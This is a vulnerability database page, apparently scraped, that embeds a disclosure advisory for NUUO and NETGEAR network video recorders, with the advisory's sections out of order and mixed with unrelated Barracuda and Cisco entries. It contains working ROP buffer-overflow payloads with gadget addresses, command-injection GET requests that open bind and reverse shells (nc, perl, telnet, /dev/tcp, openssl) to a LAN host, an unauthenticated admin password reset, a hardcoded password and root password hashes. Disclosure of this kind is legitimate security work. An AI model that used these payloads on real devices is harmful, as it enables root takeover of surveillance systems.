sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 > On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 > Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). > Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. > Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. >> Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. >> References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>
VAR-201608-0496 No CVE Barracuda Web App Firewall/Load Balancer Remote Command Execution Vulnerability CVSS V2: 4.3
CVSS V3: -
Severity: MEDIUM
Barracuda is the general name for a hard drive product line from Seagate Technology. BarracudaWebAppFirewallFirmware, LoadBalancerFirmware has a remote command execution vulnerability. An attack can exploit this vulnerability and inject it into a system command by sending a specially crafted request.
VAR-201608-0244 CVE-2016-1478 Cisco IOS Service disruption in (DoS) Vulnerabilities CVSS V2: 7.8
CVSS V3: 7.5
Severity: HIGH
Cisco IOS 15.5(3)S3, 15.6(1)S2, 15.6(2)S1, and 15.6(2)T1 does not properly dequeue invalid NTP packets, which allows remote attackers to cause a denial of service (interface wedge) by sending many crafted NTP packets, aka Bug ID CSCva35619. Cisco IOS is an operating system developed by Cisco Systems for its network devices. Cisco IOS Software is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause denial-of-service conditions. This issue is being tracked by Cisco Bug ID CSCva35619
VAR-201608-0090 CVE-2016-5677 NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 have a hardcoded qwe23622260 password for the nuuoeng account, which allows remote attackers to obtain sensitive information via an __nvr_status___.php request. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 and NVRsolo are network video recorders. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. The vulnerability is caused by the program using hard-coded ('qwe23622260' as the password) for the nuuoeng account. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience." >> Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user. Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. >> Technical details: #1 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below): function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); } <?php if (isset($_GET['log']) && !empty($_GET['log'])) { $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']); print_file($file_fullpath_name); } else { die("unknown command."); } ?> The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user. - NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. #2 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']); $find_str = "time server"; $sys_msg = system($cmd); $pos = strpos($sys_msg, $find_str); The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user). - NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root. - Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root. #3 Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. #4 Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C 